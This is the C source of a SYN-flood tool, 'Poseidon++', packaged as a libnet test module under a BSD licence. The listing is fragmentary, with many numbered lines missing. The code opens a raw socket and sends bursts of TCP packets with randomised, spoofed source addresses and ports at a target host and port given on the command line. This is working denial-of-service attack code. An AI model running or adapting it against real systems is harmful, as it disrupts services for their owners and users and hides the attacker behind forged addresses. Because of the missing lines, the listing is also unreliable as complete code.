2 * $Id: syn-flood.c,v 1.1.1.1 2000/05/25 00:28:49 route Exp $
4 * Poseidon++ (c) 1996, 1997, 1998, 1999, 2000 daemon9|route <route@infonexus.com>
5 * SYN flooder rewritten for no good reason. Again as libnet test module.
6 * Copyright (c) 1998, 1999, 2000 Mike D. Schiffman <mike@infonexus.com>
9 * Redistribution and use in source and binary forms, with or without
10 * modification, are permitted provided that the following conditions
12 * 1. Redistributions of source code must retain the above copyright
13 * notice, this list of conditions and the following disclaimer.
14 * 2. Redistributions in binary form must reproduce the above copyright
15 * notice, this list of conditions and the following disclaimer in the
16 * documentation and/or other materials provided with the distribution.
18 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
19 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
20 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
21 * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
22 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
23 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
24 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
25 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
26 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
27 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
33 #include "../../include/config.h"
35 #include "../libnet_test.h"
45 main(int argc, char **argv)
52 int i, c, packet_amt, burst_int, sockfd, burst_amt;
58 while((c = getopt(argc, argv, "t:a:i:b:")) != EOF)
63 * We expect the input to be of the form `ip.ip.ip.ip.port`. We
64 * point cp to the last dot of the IP address/port string and
65 * then seperate them with a NULL byte. The optarg now points to
66 * just the IP address, and cp points to the port.
69 if (!(cp = strrchr(optarg, '.')))
75 dst_prt = (u_short)atoi(cp);
76 if (!(dst_ip = libnet_name_resolve(optarg, 1)))
78 fprintf(stderr, "Bad IP address: %s\n", optarg);
84 packet_amt = atoi(optarg);
88 burst_int = atoi(optarg);
92 burst_amt = atoi(optarg);
101 if (!dst_prt || !dst_ip || !packet_amt)
107 if ((sockfd = libnet_open_raw_sock(IPPROTO_RAW)) == -1)
109 perror("socket allocation");
113 buf = malloc(LIBNET_TCP_H + LIBNET_IP_H);
116 perror("No memory for packet header");
119 memset(buf, 0, LIBNET_TCP_H + LIBNET_IP_H);
125 for (i = 0; i < packet_amt; i++)
127 libnet_build_ip(LIBNET_TCP_H,
129 libnet_get_prand(LIBNET_PRu16),
131 libnet_get_prand(LIBNET_PR8),
133 src_ip = libnet_get_prand(LIBNET_PRu32),
139 libnet_build_tcp(src_prt = libnet_get_prand(LIBNET_PRu16),
141 libnet_get_prand(LIBNET_PRu32),
142 libnet_get_prand(LIBNET_PRu32),
144 libnet_get_prand(LIBNET_PRu16),
150 libnet_do_checksum(buf, IPPROTO_TCP, LIBNET_TCP_H);
152 c = libnet_write_ip(sockfd, buf, LIBNET_TCP_H + LIBNET_IP_H);
153 if (c < LIBNET_TCP_H + LIBNET_IP_H)
155 fprintf(stderr, "libnet_write_ip\n");
158 printf("%15s:%5d ------> %15s:%5d\n",
159 libnet_host_lookup(src_ip, 1),
161 libnet_host_lookup(dst_ip, 1),
172 usage(u_char *nomenclature)
175 "\n\nusage: %s -t -a [-i -b]\n"
176 "\t-t target, (ip.address.port: 192.168.2.6.23)\n"
177 "\t-a number of packets to send per burst\n"
178 "\t-i packet burst sending interval (defaults to 0)\n"
179 "\t-b number packet bursts to send (defaults to 1)\n" , nomenclature);